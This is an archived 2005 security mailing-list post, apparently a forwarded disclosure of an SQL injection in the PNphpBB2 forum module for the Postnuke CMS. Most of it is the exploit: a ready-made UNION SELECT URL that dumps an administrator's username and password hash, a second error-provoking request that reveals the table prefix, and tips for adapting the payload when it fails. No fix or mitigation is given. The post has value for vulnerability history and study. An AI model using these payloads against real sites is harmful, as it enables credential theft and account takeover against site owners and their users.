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[ Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor ]
From: Jose Pedro Andres <jpandres () sync es>
Date: Tue, 01 Mar 2005 17:15:27 +0100
Sin desperdicio alguno.... [Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor] Author: Jocanor Date: 01-03-2k5 1. -----------introduction--------.Postnuke is an open source CMS (content management system), originally based in php-nuke. (www.postnuke.com)
pnphpbb is a module for postnuke based in popular forum system phpbb. (www.phpbb.com)
2. ------------the bug------------in 26 -03-04 janek vind discovers a bug in phpbb forums, in prvmsg.php file described in the bugtraq id 9984 and the bug affects also to php-nuke; butraq privades exploits for exploit this bug in php-nuke and phpbb.
But the module Pnphpbb (postnuke phpbb) is also vulnerable to this issue, and its easy to exploit:
http://www.example.com/index.php?name=PNphpBB2&file=privmsg&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20[sql here]
3 -------- the exploit ---------- Working exploit: http://www.example.com/index.php?name=PNphpBB2&file=privmsg&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20pn_uname,pn_pass,pn_pass,pn_pass,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20from%20nuke_users%20where%20pn_uid=2/* Show password hash for the user with uid = 2. 4. ------important notes-----Note: if don't works, changue the prefix nuke_ for the valid prefix, you can get the valid table prefix causing an error like this:
http://www.example.com/index.php?name=PNphpBB2&file=privmsg&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20' 5----- Contact ----- Author: Jocanor Location: Spain Email: jocanor [at] gmail [dot] com JoCaNoR SeCuRiTy ReaSoNS EOF.
Current thread:
- [ Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor ] JoCaNoR SeCuRiTy TeaM (Mar 01)
- <Possible follow-ups>
- Re: [ Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor ] Maksymilian Arciemowicz (Mar 01)
- [ Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor ] Jose Pedro Andres (Mar 01)